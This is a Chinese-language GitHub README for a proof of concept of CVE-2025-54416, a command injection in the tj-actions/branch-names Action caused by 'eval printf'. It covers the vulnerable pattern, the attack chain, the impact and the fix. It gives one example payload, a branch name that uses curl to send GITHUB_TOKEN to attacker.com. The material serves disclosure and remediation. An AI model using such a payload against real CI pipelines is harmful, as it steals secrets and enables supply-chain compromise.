HexborneStudio/atlas-tj-actions-poc
GitHub: HexborneStudio/atlas-tj-actions-poc
该仓库演示了 CVE-2025-54416 漏洞的利用过程,聚焦 tj-actions/branch-names 的命令注入问题。
Stars: 0 | Forks: 0
# CVE-2025-54416: tj-actions/branch-names 命令注入 PoC
本仓库演示了 **CVE-2025-54416**,这是一个在 `tj-actions/branch-names` 中的关键命令注入漏洞,影响超过 5,000 个公共仓库。
## 漏洞
`tj-actions/branch-names` GitHub Action(版本 <= 8.2.1)使用了不安全的 `eval printf "%s"`,这在适当清理后重新引入了命令注入风险。
```
# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
```
## 攻击链
1. 攻击者创建一个包含 shell 命令的恶意分支名称
2. 受害者的工作流使用 `tj-actions/branch-names@v8.2.1` 提取分支名称
3. 提取的分支名称(包含攻击者载荷)被用于后续 shell 命令
4. **命令在 CI 运行器上下文中以运行器权限执行**
5. 机密信息(AWS 密钥、GITHUB_TOKEN 等)被泄露
## 示例载荷
分支名称:`main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)`
当工作流运行时:
```
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN
```
## 影响
- 敏感机密信息被盗(AWS 密钥、API 令牌、GITHUB_TOKEN)
- 未经授权的代码修改
- 将恶意镜像推送到生产注册表
- 通过受损的 CI/CD 进行供应链攻击
## 修复
更新到 `tj-actions/branch-names@v9` 或更高版本,其中使用安全的 `printf` 调用替换了 `eval printf "%s"`。
## 参考
- [GitHub Advisory GHSA-gq52-6phf-x2r6](https://github.com/advisories/GHSA-gq52-6phf-x2r6)
- [CVE-2025-54416](https://nvd.nist.gov/vuln/detail/CVE-2025-54416)
标签:AWS keys, branch-names, Cutter, CVE, eval, GitHub Actions, GITHUB_TOKEN, PoC, printf, tj-actions, v9, 修复, 分支名称, 命令执行, 命令注入, 安全漏洞, 攻击链, 数字签名, 暴力破解, 注入漏洞, 漏洞披露, 版本升级, 秘密窃取, 自动笔记